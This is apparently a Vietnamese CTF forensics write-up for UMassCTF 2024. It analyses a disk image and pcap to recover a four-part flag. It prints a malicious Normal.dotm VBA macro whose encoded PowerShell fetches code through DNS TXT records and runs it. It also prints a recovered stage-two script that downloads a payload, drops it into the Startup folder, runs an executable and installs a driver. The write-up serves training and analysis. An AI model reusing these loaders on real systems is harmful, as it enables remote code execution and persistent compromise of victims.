# UMassCTF 2024 ## Forensics ### Meet My Computer Wife Karen ![image](https://hackmd.io/_uploads/rkf_rimWA.png) Sau khi tải file của author, giải nén ra sẽ ra hai file như sau ![image](https://hackmd.io/_uploads/HydqSjmbA.png) Chúng ta sẽ xử lý file image.ad1 trước. Bỏ vào FTK để mount, ta được các folder sau ![image](https://hackmd.io/_uploads/BkTAHoQW0.png) Kiểm tra qua các thư mục, mình nhận thấy rằng ở folder Documents có một số file như sau ![image](https://hackmd.io/_uploads/r1sZ8sQZR.png) Dựa vào để bài, có vẻ như có một thứ gì đó cố gắng lấy cắp "Krabby party secret", và mình nhận thấy có một file word có extension là .docm => mình nghĩ rằng đây là một file word malicious chứa macro "official_correspondense.docm" Nhưng sau khi kiểm tra qua bằng olevba, mình không phát hiện bất cứ tệp macro nào bên trong, dùng microsoft defender để trigged cũng không có. Mình khá clueless và sau khi giải kết thúc, author bảo đây là một lỗi của author liên quan đến việc sao lưu macro T^T Mình có đọc comment trong discord bảo rằng macro cũng có thể được sao lưu ở /AppData/Roaming/Microsoft/Templates/Normal.dotm Vì vậy, mình truy cập vào đường dẫn này và phát hiện tệp Normal.dotm có macro ![image](https://hackmd.io/_uploads/B1LlPi7ZA.png) ![image](https://hackmd.io/_uploads/rk1fPiQZ0.png) ```python= Function dgfbhsrjtyghsfgbn(betrhyhzdfgbvfadgh() As Byte, tgdrhnatrhathgdf As Long) As Boolean Dim drtgvhsrtghgfhng As Byte drtgvhsrtghgfhng = 127 For i = 0 To tgdrhnatrhathgdf - 1 betrhyhzdfgbvfadgh(i) = betrhyhzdfgbvfadgh(i) Xor drtgvhsrtghgfhng drtgvhsrtghgfhng = ((drtgvhsrtghgfhng + 5) Xor 105) Next i drtgvhsrtghgfhng = True End Function Function flagpart() Dim bnirujwtnbiwrbn(12) As Byte bnirujwtnbiwrbn(0) = 42 bnirujwtnbiwrbn(1) = 160 bnirujwtnbiwrbn(2) = 218 bnirujwtnbiwrbn(3) = 154 bnirujwtnbiwrbn(4) = 244 bnirujwtnbiwrbn(5) = 190 bnirujwtnbiwrbn(6) = 212 bnirujwtnbiwrbn(7) = 137 bnirujwtnbiwrbn(8) = 152 bnirujwtnbiwrbn(9) = 130 bnirujwtnbiwrbn(10) = 186 bnirujwtnbiwrbn(11) = 138 flagpart = dgfbhsrjtyghsfgbn(bnirujwtnbiwrbn(), 12) End Function Sub formuoli() Set objShell = CreateObject("Wscript.Shell") objShell.Run ("powershell.exe IEX([Text.Encoding]::Utf8.GetString([Convert]::FromBase64String('JGI2NCA9ICIiDQoNCmZvciAoJGk9MTskaSAtbGUgNzskaSsrKSB7DQogICAgJHRlbXAgPSAobnNsb29rdXAgLXE9dHh0IC10aW1lb3V0PTMgJGknLmFtZXJpY2FudmVndGFibGVzLmNvbScpWy0xXSAtcmVwbGFjZSAnIicsJycgLXJlcGxhY2UgJ1xzJywnJw0KICAgICRiNjQgKz0gJHRlbXANCn07DQoNCiMgX2QwY01fNTdpTExfDQoNCmlleChbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpBU0NJSS5HZXRTdHJpbmcoW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygoJGI2NCkpKSk=')))") End Sub ``` Có thể thấy một hàm tên là flagpart(), mình sử dụng python để convert lại ```python= def transform_bytes(betrhyhzdfgbvfadgh, tgdrhnatrhathgdf): # Initializing variable drtgvhsrtghgfhng = 127 # Iterate over the byte array and apply XOR transformation for i in range(tgdrhnatrhathgdf): betrhyhzdfgbvfadgh[i] ^= drtgvhsrtghgfhng drtgvhsrtghgfhng = ((drtgvhsrtghgfhng + 5) ^ 105) return betrhyhzdfgbvfadgh bnirujwtnbiwrbn = [42, 160, 218, 154, 244, 190, 212, 137, 152, 130, 186, 138] decoded_bytes = transform_bytes(bnirujwtnbiwrbn.copy(), 12) decoded_string = ''.join(chr(x) for x in decoded_bytes) print("Decoded string:", decoded_string) ``` Và ta có part 1 của flag ![image](https://hackmd.io/_uploads/r1eWuj7ZR.png) :::success Part1: UMASS{wH7_1s ::: Tiếp tục xử lý ở phần macro, ta thấy hàm formuoli() đang xử lý một đoạn code powershell. Nó đang convert một đoạn base64, vì vậy mình decode đoạn base64 đó ![image](https://hackmd.io/_uploads/Sk_wOsmZC.png) Ta được part 2 của flag :::success Part 2: _d0cM_57iLL_ ::: Nhìn qua thì đoạn powershell script này đang thực hiện việc tìm kiếm và convert nội dung của request dns chứa file txt. Vì vậy mình mở wireshark để bắt đầu xử lý file pcap kia Filter request dns có chứa file txt chúng ta đã tìm ra đoạn text bị base64 encoded ![image](https://hackmd.io/_uploads/BJ-VKj7bC.png) Copy và decode, sau đó ghép lại với nhau, ta được nội dung như sau ``` $downloadURL = "192.168.157.145:8080/money.png" $content = Invoke-WebRequest $downloadURL $re = New-Object System.Text.RegularExpressions.Regex("c4fc34f45386d4c98e26") $stuff = [regex]::Split($content, $re)[1] $zip = [System.Convert]::FromBase64String($stuff) Set-Content "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\stuff.zip" -Value $zip -Encoding Byte Expand-Archive -Path "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\stuff.zip" -DestinationPath "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\" Remove-Item "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\stuff.zip" Start-Process "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\MoneyGrabber.exe" -NoNewWindow pnputil.exe /add-driver "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\myDriver.inf" /install sc.exe start myDriver Remove-Item "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\myDriver.*" # Write-Output "4_tH1nG_" ``` Ở cuối, ta thấy được flag thứ 3 :::success Part 3: 4_tH1nG_ ::: Quay trở lại đoạn powershell script, ta thấy rằng nó đang thực hiện việc invoked web url để download một bức ảnh. Sau đó sử dụng một thuật toán để giải mã bức ảnh thành một file zip và thực thi cùng với thực hiện persistence trên máy của victim Trở lại wireshark, export object với đuôi .png, ta thấy được bức ảnh ![image](https://hackmd.io/_uploads/B1ME5o7b0.png) Viết một script python dựa trên thuật toán bên trên, mình decode được ra file zip ``` import re import base64 pattern = "c4fc34f45386d4c98e26" content = "examplecontentbeforec4fc34f45386d4c98e26examplecontentafter" split_result = re.split(pattern, content) if len(split_result) > 1: stuff = split_result[1] else: raise ValueError("Pattern not found in content") zip_bytes = base64.b64decode(stuff) print("Extracted content (binary data):", zip_bytes) ``` Mở file zip lên và ta thấy file flag4.txt ![image](https://hackmd.io/_uploads/HkIOci7bR.png) :::success Part 4: 1n_th3_y34r_2024??} :::